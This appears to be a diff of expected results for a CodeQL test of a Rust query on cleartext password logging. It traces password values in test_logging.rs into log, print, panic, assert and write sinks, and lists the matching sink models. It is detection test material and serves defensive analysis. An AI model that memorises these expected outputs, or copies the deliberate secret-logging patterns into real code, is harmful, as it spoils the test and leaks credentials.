test_logging.rs:209:36:209:81 | ... .as_bytes() | test_logging.rs:209:30:209:34 | write | provenance | MaD:5 Sink:MaD:5 | -| test_logging.rs:209:44:209:69 | ...::format(...) | test_logging.rs:209:36:209:70 | res | provenance | | -| test_logging.rs:209:44:209:69 | ...::must_use(...) | test_logging.rs:209:36:209:81 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:209:44:209:69 | MacroExpr | test_logging.rs:209:44:209:69 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:209:44:209:69 | { ... } | test_logging.rs:209:44:209:69 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:209:62:209:69 | password | test_logging.rs:209:44:209:69 | MacroExpr | provenance | | -| test_logging.rs:210:40:210:74 | res | test_logging.rs:210:48:210:73 | { ... } | provenance | | -| test_logging.rs:210:40:210:85 | ... .as_bytes() | test_logging.rs:210:30:210:38 | write_all | provenance | MaD:6 Sink:MaD:6 | -| test_logging.rs:210:48:210:73 | ...::format(...) | test_logging.rs:210:40:210:74 | res | provenance | | -| test_logging.rs:210:48:210:73 | ...::must_use(...) | test_logging.rs:210:40:210:85 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:210:48:210:73 | MacroExpr | test_logging.rs:210:48:210:73 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:210:48:210:73 | { ... } | test_logging.rs:210:48:210:73 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:210:66:210:73 | password | test_logging.rs:210:48:210:73 | MacroExpr | provenance | | -| test_logging.rs:213:15:213:49 | res | test_logging.rs:213:23:213:48 | { ... } | provenance | | -| test_logging.rs:213:15:213:60 | ... .as_bytes() | test_logging.rs:213:9:213:13 | write | provenance | MaD:5 Sink:MaD:5 | -| test_logging.rs:213:23:213:48 | ...::format(...) | test_logging.rs:213:15:213:49 | res | provenance | | -| test_logging.rs:213:23:213:48 | ...::must_use(...) | test_logging.rs:213:15:213:60 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:213:23:213:48 | MacroExpr | test_logging.rs:213:23:213:48 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:213:23:213:48 | { ... } | test_logging.rs:213:23:213:48 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:213:41:213:48 | password | test_logging.rs:213:23:213:48 | MacroExpr | provenance | | -| test_logging.rs:216:15:216:49 | res | test_logging.rs:216:23:216:48 | { ... } | provenance | | -| test_logging.rs:216:15:216:60 | ... .as_bytes() | test_logging.rs:216:9:216:13 | write | provenance | MaD:4 Sink:MaD:4 | -| test_logging.rs:216:23:216:48 | ...::format(...) | test_logging.rs:216:15:216:49 | res | provenance | | -| test_logging.rs:216:23:216:48 | ...::must_use(...) | test_logging.rs:216:15:216:60 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:216:23:216:48 | MacroExpr | test_logging.rs:216:23:216:48 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:216:23:216:48 | { ... } | test_logging.rs:216:23:216:48 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:216:41:216:48 | password | test_logging.rs:216:23:216:48 | MacroExpr | provenance | | +| test_logging.rs:44:11:44:34 | MacroExpr | test_logging.rs:44:5:44:35 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:44:27:44:34 | password | test_logging.rs:44:11:44:34 | MacroExpr | provenance | | +| test_logging.rs:45:12:45:35 | MacroExpr | test_logging.rs:45:5:45:36 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:45:28:45:35 | password | test_logging.rs:45:12:45:35 | MacroExpr | provenance | | +| test_logging.rs:46:11:46:34 | MacroExpr | test_logging.rs:46:5:46:35 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:46:27:46:34 | password | test_logging.rs:46:11:46:34 | MacroExpr | provenance | | +| test_logging.rs:47:24:47:47 | MacroExpr | test_logging.rs:47:5:47:48 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:47:40:47:47 | password | test_logging.rs:47:24:47:47 | MacroExpr | provenance | | +| test_logging.rs:52:12:52:35 | MacroExpr | test_logging.rs:52:5:52:36 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:52:28:52:35 | password | test_logging.rs:52:12:52:35 | MacroExpr | provenance | | +| test_logging.rs:54:12:54:48 | MacroExpr | test_logging.rs:54:5:54:49 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:54:41:54:48 | password | test_logging.rs:54:12:54:48 | MacroExpr | provenance | | +| test_logging.rs:56:12:56:46 | MacroExpr | test_logging.rs:56:5:56:47 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:56:39:56:46 | password | test_logging.rs:56:12:56:46 | MacroExpr | provenance | | +| test_logging.rs:57:12:57:33 | MacroExpr | test_logging.rs:57:5:57:34 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:57:24:57:31 | password | test_logging.rs:57:12:57:33 | MacroExpr | provenance | | +| test_logging.rs:58:12:58:35 | MacroExpr | test_logging.rs:58:5:58:36 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:35 | MacroExpr | provenance | | +| test_logging.rs:60:30:60:53 | MacroExpr | test_logging.rs:60:5:60:54 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:60:46:60:53 | password | test_logging.rs:60:30:60:53 | MacroExpr | provenance | | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:61:20:61:28 | &password | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:61:20:61:28 | &password [&ref] | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password | provenance | Config | +| test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password [&ref] | provenance | | +| test_logging.rs:65:24:65:47 | MacroExpr | test_logging.rs:65:5:65:48 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:65:40:65:47 | password | test_logging.rs:65:24:65:47 | MacroExpr | provenance | | +| test_logging.rs:67:42:67:65 | MacroExpr | test_logging.rs:67:5:67:66 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:67:58:67:65 | password | test_logging.rs:67:42:67:65 | MacroExpr | provenance | | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:68:18:68:26 | &password | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:68:18:68:26 | &password [&ref] | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password | provenance | Config | +| test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password [&ref] | provenance | | +| test_logging.rs:72:23:72:46 | MacroExpr | test_logging.rs:72:5:72:47 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:72:39:72:46 | password | test_logging.rs:72:23:72:46 | MacroExpr | provenance | | +| test_logging.rs:74:41:74:64 | MacroExpr | test_logging.rs:74:5:74:65 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:74:57:74:64 | password | test_logging.rs:74:41:74:64 | MacroExpr | provenance | | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:75:20:75:28 | &password | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:75:20:75:28 | &password [&ref] | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password | provenance | Config | +| test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password [&ref] | provenance | | +| test_logging.rs:76:23:76:46 | MacroExpr | test_logging.rs:76:5:76:47 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:76:39:76:46 | password | test_logging.rs:76:23:76:46 | MacroExpr | provenance | | +| test_logging.rs:82:20:82:43 | MacroExpr | test_logging.rs:82:5:82:44 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:82:36:82:43 | password | test_logging.rs:82:20:82:43 | MacroExpr | provenance | | +| test_logging.rs:84:38:84:61 | MacroExpr | test_logging.rs:84:5:84:62 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:84:54:84:61 | password | test_logging.rs:84:38:84:61 | MacroExpr | provenance | | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:15 Sink:MaD:15 Sink:MaD:15 | +| test_logging.rs:85:20:85:28 | &password | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:85:20:85:28 | &password [&ref] | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password | provenance | Config | +| test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password [&ref] | provenance | | +| test_logging.rs:86:20:86:43 | MacroExpr | test_logging.rs:86:5:86:44 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:86:36:86:43 | password | test_logging.rs:86:20:86:43 | MacroExpr | provenance | | +| test_logging.rs:93:9:93:10 | m1 | test_logging.rs:94:11:94:28 | MacroExpr | provenance | | +| test_logging.rs:93:14:93:22 | &password | test_logging.rs:93:9:93:10 | m1 | provenance | | +| test_logging.rs:93:15:93:22 | password | test_logging.rs:93:14:93:22 | &password | provenance | Config | +| test_logging.rs:94:11:94:28 | MacroExpr | test_logging.rs:94:5:94:29 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:96:9:96:10 | m2 | test_logging.rs:97:11:97:18 | MacroExpr | provenance | | +| test_logging.rs:96:41:96:49 | &password | test_logging.rs:96:9:96:10 | m2 | provenance | | +| test_logging.rs:96:42:96:49 | password | test_logging.rs:96:41:96:49 | &password | provenance | Config | +| test_logging.rs:97:11:97:18 | MacroExpr | test_logging.rs:97:5:97:19 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:99:9:99:10 | m3 | test_logging.rs:100:11:100:18 | MacroExpr | provenance | | +| test_logging.rs:99:14:99:46 | res | test_logging.rs:99:22:99:45 | { ... } | provenance | | +| test_logging.rs:99:22:99:45 | ...::format(...) | test_logging.rs:99:14:99:46 | res | provenance | | +| test_logging.rs:99:22:99:45 | ...::must_use(...) | test_logging.rs:99:9:99:10 | m3 | provenance | | +| test_logging.rs:99:22:99:45 | MacroExpr | test_logging.rs:99:22:99:45 | ...::format(...) | provenance | MaD:18 | +| test_logging.rs:99:22:99:45 | { ... } | test_logging.rs:99:22:99:45 | ...::must_use(...) | provenance | MaD:19 | +| test_logging.rs:99:38:99:45 | password | test_logging.rs:99:22:99:45 | MacroExpr | provenance | | +| test_logging.rs:100:11:100:18 | MacroExpr | test_logging.rs:100:5:100:19 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:118:12:118:41 | MacroExpr | test_logging.rs:118:5:118:42 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:12:118:41 | MacroExpr | provenance | | +| test_logging.rs:129:9:129:10 | t1 [tuple.1] | test_logging.rs:131:28:131:29 | t1 [tuple.1] | provenance | | +| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | test_logging.rs:129:9:129:10 | t1 [tuple.1] | provenance | | +| test_logging.rs:129:25:129:32 | password | test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | provenance | | +| test_logging.rs:131:12:131:31 | MacroExpr | test_logging.rs:131:5:131:32 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:131:28:131:29 | t1 [tuple.1] | test_logging.rs:131:28:131:31 | t1.1 | provenance | | +| test_logging.rs:131:28:131:31 | t1.1 | test_logging.rs:131:12:131:31 | MacroExpr | provenance | | +| test_logging.rs:141:11:141:37 | MacroExpr | test_logging.rs:141:5:141:38 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:141:27:141:37 | s1.password | test_logging.rs:141:11:141:37 | MacroExpr | provenance | | +| test_logging.rs:151:11:151:37 | MacroExpr | test_logging.rs:151:5:151:38 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:151:27:151:37 | s2.password | test_logging.rs:151:11:151:37 | MacroExpr | provenance | | +| test_logging.rs:176:33:176:79 | &... | test_logging.rs:176:22:176:31 | log_expect | provenance | MaD:10 Sink:MaD:10 | +| test_logging.rs:176:33:176:79 | &... [&ref] | test_logging.rs:176:22:176:31 | log_expect | provenance | MaD:10 Sink:MaD:10 | +| test_logging.rs:176:34:176:79 | MacroExpr | test_logging.rs:176:33:176:79 | &... | provenance | Config | +| test_logging.rs:176:34:176:79 | MacroExpr | test_logging.rs:176:33:176:79 | &... [&ref] | provenance | | +| test_logging.rs:176:34:176:79 | res | test_logging.rs:176:42:176:78 | { ... } | provenance | | +| test_logging.rs:176:42:176:78 | ...::format(...) | test_logging.rs:176:34:176:79 | res | provenance | | +| test_logging.rs:176:42:176:78 | ...::must_use(...) | test_logging.rs:176:34:176:79 | MacroExpr | provenance | | +| test_logging.rs:176:42:176:78 | MacroExpr | test_logging.rs:176:42:176:78 | ...::format(...) | provenance | MaD:18 | +| test_logging.rs:176:42:176:78 | { ... } | test_logging.rs:176:42:176:78 | ...::must_use(...) | provenance | MaD:19 | +| test_logging.rs:176:70:176:78 | password2 | test_logging.rs:176:42:176:78 | MacroExpr | provenance | | +| test_logging.rs:180:35:180:81 | &... | test_logging.rs:180:24:180:33 | log_expect | provenance | MaD:11 Sink:MaD:11 | +| test_logging.rs:180:35:180:81 | &... [&ref] | test_logging.rs:180:24:180:33 | log_expect | provenance | MaD:11 Sink:MaD:11 | +| test_logging.rs:180:36:180:81 | MacroExpr | test_logging.rs:180:35:180:81 | &... | provenance | Config | +| test_logging.rs:180:36:180:81 | MacroExpr | test_logging.rs:180:35:180:81 | &... [&ref] | provenance | | +| test_logging.rs:180:36:180:81 | res | test_logging.rs:180:44:180:80 | { ... } | provenance | | +| test_logging.rs:180:44:180:80 | ...::format(...) | test_logging.rs:180:36:180:81 | res | provenance | | +| test_logging.rs:180:44:180:80 | ...::must_use(...) | test_logging.rs:180:36:180:81 | MacroExpr | provenance | | +| test_logging.rs:180:44:180:80 | MacroExpr | test_logging.rs:180:44:180:80 | ...::format(...) | provenance | MaD:18 | +| test_logging.rs:180:44:180:80 | { ... } | test_logging.rs:180:44:180:80 | ...::must_use(...) | provenance | MaD:19 | +| test_logging.rs:180:72:180:80 | password2 | test_logging.rs:180:44:180:80 | MacroExpr | provenance | | +| test_logging.rs:183:9:183:19 | err_result2 [Err] | test_logging.rs:184:13:184:23 | err_result2 [Err] | provenance | | +| test_logging.rs:183:47:183:68 | Err(...) [Err] | test_logging.rs:183:9:183:19 | err_result2 [Err] | provenance | | +| test_logging.rs:183:51:183:59 | password2 | test_logging.rs:183:51:183:67 | password2.clone() | provenance | generated | +| test_logging.rs:183:51:183:67 | password2.clone() | test_logging.rs:183:47:183:68 | Err(...) [Err] | provenance | | +| test_logging.rs:184:13:184:23 | err_result2 [Err] | test_logging.rs:184:25:184:34 | log_expect | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:187:9:187:19 | err_result3 [Err] | test_logging.rs:188:13:188:23 | err_result3 [Err] | provenance | | +| test_logging.rs:187:47:187:60 | Err(...) [Err] | test_logging.rs:187:9:187:19 | err_result3 [Err] | provenance | | +| test_logging.rs:187:51:187:59 | password2 | test_logging.rs:187:47:187:60 | Err(...) [Err] | provenance | | +| test_logging.rs:188:13:188:23 | err_result3 [Err] | test_logging.rs:188:25:188:34 | log_unwrap | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:192:12:192:37 | MacroExpr | test_logging.rs:192:5:192:38 | ...::_print | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:192:30:192:37 | password | test_logging.rs:192:12:192:37 | MacroExpr | provenance | | +| test_logging.rs:193:14:193:37 | MacroExpr | test_logging.rs:193:5:193:38 | ...::_print | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:193:30:193:37 | password | test_logging.rs:193:14:193:37 | MacroExpr | provenance | | +| test_logging.rs:194:13:194:38 | MacroExpr | test_logging.rs:194:5:194:39 | ...::_eprint | provenance | MaD:8 Sink:MaD:8 | +| test_logging.rs:194:31:194:38 | password | test_logging.rs:194:13:194:38 | MacroExpr | provenance | | +| test_logging.rs:195:15:195:38 | MacroExpr | test_logging.rs:195:5:195:39 | ...::_eprint | provenance | MaD:8 Sink:MaD:8 | +| test_logging.rs:195:31:195:38 | password | test_logging.rs:195:15:195:38 | MacroExpr | provenance | | +| test_logging.rs:199:20:199:43 | MacroExpr | test_logging.rs:199:13:199:44 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:199:36:199:43 | password | test_logging.rs:199:20:199:43 | MacroExpr | provenance | | +| test_logging.rs:202:19:202:42 | MacroExpr | test_logging.rs:202:13:202:43 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:202:35:202:42 | password | test_logging.rs:202:19:202:42 | MacroExpr | provenance | | +| test_logging.rs:205:28:205:51 | MacroExpr | test_logging.rs:205:13:205:52 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:205:44:205:51 | password | test_logging.rs:205:28:205:51 | MacroExpr | provenance | | +| test_logging.rs:208:26:208:49 | MacroExpr | test_logging.rs:208:13:208:50 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:208:42:208:49 | password | test_logging.rs:208:26:208:49 | MacroExpr | provenance | | +| test_logging.rs:211:28:211:51 | MacroExpr | test_logging.rs:211:13:211:52 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:211:44:211:51 | password | test_logging.rs:211:28:211:51 | MacroExpr | provenance | | +| test_logging.rs:214:13:214:54 | ...::assert_failed [Some] | test_logging.rs:214:13:214:54 | ...::assert_failed | provenance | Sink:MaD:3 | +| test_logging.rs:214:30:214:53 | ...::Some(...) [Some] | test_logging.rs:214:13:214:54 | ...::assert_failed | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:214:30:214:53 | ...::Some(...) [Some] | test_logging.rs:214:13:214:54 | ...::assert_failed [Some] | provenance | MaD:2 | +| test_logging.rs:214:30:214:53 | MacroExpr | test_logging.rs:214:30:214:53 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:214:46:214:53 | password | test_logging.rs:214:30:214:53 | MacroExpr | provenance | | +| test_logging.rs:217:13:217:54 | ...::assert_failed [Some] | test_logging.rs:217:13:217:54 | ...::assert_failed | provenance | Sink:MaD:3 | +| test_logging.rs:217:30:217:53 | ...::Some(...) [Some] | test_logging.rs:217:13:217:54 | ...::assert_failed | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:217:30:217:53 | ...::Some(...) [Some] | test_logging.rs:217:13:217:54 | ...::assert_failed [Some] | provenance | MaD:2 | +| test_logging.rs:217:30:217:53 | MacroExpr | test_logging.rs:217:30:217:53 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:217:46:217:53 | password | test_logging.rs:217:30:217:53 | MacroExpr | provenance | | +| test_logging.rs:220:34:220:57 | MacroExpr | test_logging.rs:220:13:220:58 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:220:50:220:57 | password | test_logging.rs:220:34:220:57 | MacroExpr | provenance | | +| test_logging.rs:223:13:223:60 | ...::assert_failed [Some] | test_logging.rs:223:13:223:60 | ...::assert_failed | provenance | Sink:MaD:3 | +| test_logging.rs:223:36:223:59 | ...::Some(...) [Some] | test_logging.rs:223:13:223:60 | ...::assert_failed | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:223:36:223:59 | ...::Some(...) [Some] | test_logging.rs:223:13:223:60 | ...::assert_failed [Some] | provenance | MaD:2 | +| test_logging.rs:223:36:223:59 | MacroExpr | test_logging.rs:223:36:223:59 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:223:52:223:59 | password | test_logging.rs:223:36:223:59 | MacroExpr | provenance | | +| test_logging.rs:226:13:226:60 | ...::assert_failed [Some] | test_logging.rs:226:13:226:60 | ...::assert_failed | provenance | Sink:MaD:3 | +| test_logging.rs:226:36:226:59 | ...::Some(...) [Some] | test_logging.rs:226:13:226:60 | ...::assert_failed | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:226:36:226:59 | ...::Some(...) [Some] | test_logging.rs:226:13:226:60 | ...::assert_failed [Some] | provenance | MaD:2 | +| test_logging.rs:226:36:226:59 | MacroExpr | test_logging.rs:226:36:226:59 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:226:52:226:59 | password | test_logging.rs:226:36:226:59 | MacroExpr | provenance | | +| test_logging.rs:229:30:229:62 | res | test_logging.rs:229:38:229:61 | { ... } | provenance | | +| test_logging.rs:229:30:229:71 | ... .as_str() | test_logging.rs:229:23:229:28 | expect | provenance | MaD:1 Sink:MaD:1 | +| test_logging.rs:229:30:229:71 | ... .as_str() | test_logging.rs:229:23:229:28 | expect | provenance | MaD:1 Sink:MaD:1 | +| test_logging.rs:229:38:229:61 | ...::format(...) | test_logging.rs:229:30:229:62 | res | provenance | | +| test_logging.rs:229:38:229:61 | ...::must_use(...) | test_logging.rs:229:30:229:71 | ... .as_str() | provenance | MaD:17 | +| test_logging.rs:229:38:229:61 | MacroExpr | test_logging.rs:229:38:229:61 | ...::format(...) | provenance | MaD:18 | +| test_logging.rs:229:38:229:61 | { ... } | test_logging.rs:229:38:229:61 | ...::must_use(...) | provenance | MaD:19 | +| test_logging.rs:229:54:229:61 | password | test_logging.rs:229:38:229:61 | MacroExpr | provenance | | +| test_logging.rs:242:16:242:50 | res | test_logging.rs:242:24:242:49 | { ... } | provenance | | +| test_logging.rs:242:16:242:61 | ... .as_bytes() | test_logging.rs:242:10:242:14 | write | provenance | MaD:6 Sink:MaD:6 | +| test_logging.rs:242:24:242:49 | ...::format(...) | test_logging.rs:242:16:242:50 | res | provenance | | +| test_logging.rs:242:24:242:49 | ...::must_use(...) | test_logging.rs:242:16:242:61 | ... .as_bytes() | provenance | MaD:16 | +| test_logging.rs:242:24:242:49 | MacroExpr | test_logging.rs:242:24:242:49 | ...::format(...) | provenance | MaD:18 | +| test_logging.rs:242:24:242:49 | { ... } | test_logging.rs:242:24:242:49 | ...::must_use(...) | provenance | MaD:19 | +| test_logging.rs:242:42:242:49 | password | test_logging.rs:242:24:242:49 | MacroExpr | provenance | | +| test_logging.rs:245:20:245:54 | res | test_logging.rs:245:28:245:53 | { ... } | provenance | | +| test_logging.rs:245:20:245:65 | ... .as_bytes() | test_logging.rs:245:10:245:18 | write_all | provenance | MaD:7 Sink:MaD:7 | +| test_logging.rs:245:28:245:53 | ...::format(...) | test_logging.rs:245:20:245:54 | res | provenance | | +| test_logging.rs:245:28:245:53 | ...::must_use(...) | test_logging.rs:245:20:245:65 | ... .as_bytes() | provenance | MaD:16 | +| test_logging.rs:245:28:245:53 | MacroExpr | test_logging.rs:245:28:245:53 | ...::format(...) | provenance | MaD:18 | +| test_logging.rs:245:28:245:53 | { ... } | test_logging.rs:245:28:245:53 | ...::must_use(...) | provenance | MaD:19 | +| test_logging.rs:245:46:245:53 | password | test_logging.rs:245:28:245:53 | MacroExpr | provenance | | +| test_logging.rs:248:15:248:49 | res | test_logging.rs:248:23:248:48 | { ... } | provenance | | +| test_logging.rs:248:15:248:60 | ... .as_bytes() | test_logging.rs:248:9:248:13 | write | provenance | MaD:6 Sink:MaD:6 | +| test_logging.rs:248:23:248:48 | ...::format(...) | test_logging.rs:248:15:248:49 | res | provenance | | +| test_logging.rs:248:23:248:48 | ...::must_use(...) | test_logging.rs:248:15:248:60 | ... .as_bytes() | provenance | MaD:16 | +| test_logging.rs:248:23:248:48 | MacroExpr | test_logging.rs:248:23:248:48 | ...::format(...) | provenance | MaD:18 | +| test_logging.rs:248:23:248:48 | { ... } | test_logging.rs:248:23:248:48 | ...::must_use(...) | provenance | MaD:19 | +| test_logging.rs:248:41:248:48 | password | test_logging.rs:248:23:248:48 | MacroExpr | provenance | | +| test_logging.rs:251:15:251:49 | res | test_logging.rs:251:23:251:48 | { ... } | provenance | | +| test_logging.rs:251:15:251:60 | ... .as_bytes() | test_logging.rs:251:9:251:13 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:251:23:251:48 | ...::format(...) | test_logging.rs:251:15:251:49 | res | provenance | | +| test_logging.rs:251:23:251:48 | ...::must_use(...) | test_logging.rs:251:15:251:60 | ... .as_bytes() | provenance | MaD:16 | +| test_logging.rs:251:23:251:48 | MacroExpr | test_logging.rs:251:23:251:48 | ...::format(...) | provenance | MaD:18 | +| test_logging.rs:251:23:251:48 | { ... } | test_logging.rs:251:23:251:48 | ...::must_use(...) | provenance | MaD:19 | +| test_logging.rs:251:41:251:48 | password | test_logging.rs:251:23:251:48 | MacroExpr | provenance | | models | 1 | Sink: lang:core; ::expect; log-injection; Argument[0] | -| 2 | Sink: lang:core; crate::panicking::assert_failed; log-injection; Argument[3].Field[crate::option::Option::Some(0)] | -| 3 | Sink: lang:core; crate::panicking::panic_fmt; log-injection; Argument[0] | -| 4 | Sink: lang:std; ::write; log-injection; Argument[0] | -| 5 | Sink: lang:std; ::write; log-injection; Argument[0] | -| 6 | Sink: lang:std; ::write_all; log-injection; Argument[0] | -| 7 | Sink: lang:std; crate::io::stdio::_eprint; log-injection; Argument[0] | -| 8 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] | -| 9 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | -| 10 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | -| 11 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_unwrap; log-injection; Argument[self].Field[crate::result::Result::Err(0)] | -| 12 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] | -| 13 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | -| 14 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; value | -| 15 | Summary: lang:alloc; ::as_str; 